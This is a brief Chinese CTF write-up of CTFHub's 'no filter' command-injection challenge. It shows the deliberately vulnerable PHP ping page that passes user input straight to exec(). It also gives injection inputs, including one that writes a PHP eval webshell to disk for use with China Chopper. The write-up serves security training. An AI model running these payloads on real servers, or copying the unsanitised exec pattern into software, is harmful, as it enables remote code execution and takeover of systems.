命令注入

一上來就是源碼出現，上面有個ping的地方

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-無過濾</title>
</head>
<body>

<h1>CTFHub 命令注入-無過濾</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

View Code

先ping 本地

然后好像沒啥

然后試試管道命令

127.0.0.1 | ls

然后試着去嘗試cat，發現貌似被屏蔽了

慘兮兮

然后大佬悠悠的說了一句，一句話，擼到底

127.0.0.1 & echo "<?php @eval(@@\$_POST['a']);?>" > 3.php

記得轉譯后面的 $（把兩個at at去掉（post

之前的））

然后一把菜刀直接丟過去，大佬給的Java版本的菜刀真好用

過濾cat那道題也是一樣的方式可以

免責聲明！

本站轉載的文章為個人學習借鑒使用，本站對版權不負任何法律責任。如果侵犯了您的隱私權益，請聯系本站郵箱yoyou2525@163.com刪除。

猜您在找 CTFHub題解-技能樹-Web-RCE【命令注入、過濾cat、過濾空格】(一) ctfhub技能樹—RCE—過濾cat ctfhub技能樹—RCE—命令注入 CTFHub web技能樹 RCE ctfhub技能樹—RCE—過濾空格 ctfhub技能樹—RCE—綜合過濾練習 CTFHub題解-技能樹-Web-SQL注入（過濾空格）【四】 ctfhub技能樹—sql注入—過濾空格 CTFHub題解-技能樹-Web-RCE【過濾目錄分隔符、過濾運算符、綜合過濾練習】(二) CTFHub Web技能樹

CTFHub web技能樹之RCE初步 命令注入+過濾cat

命令注入

免責聲明！

CTFHub web技能樹之RCE初步命令注入+過濾cat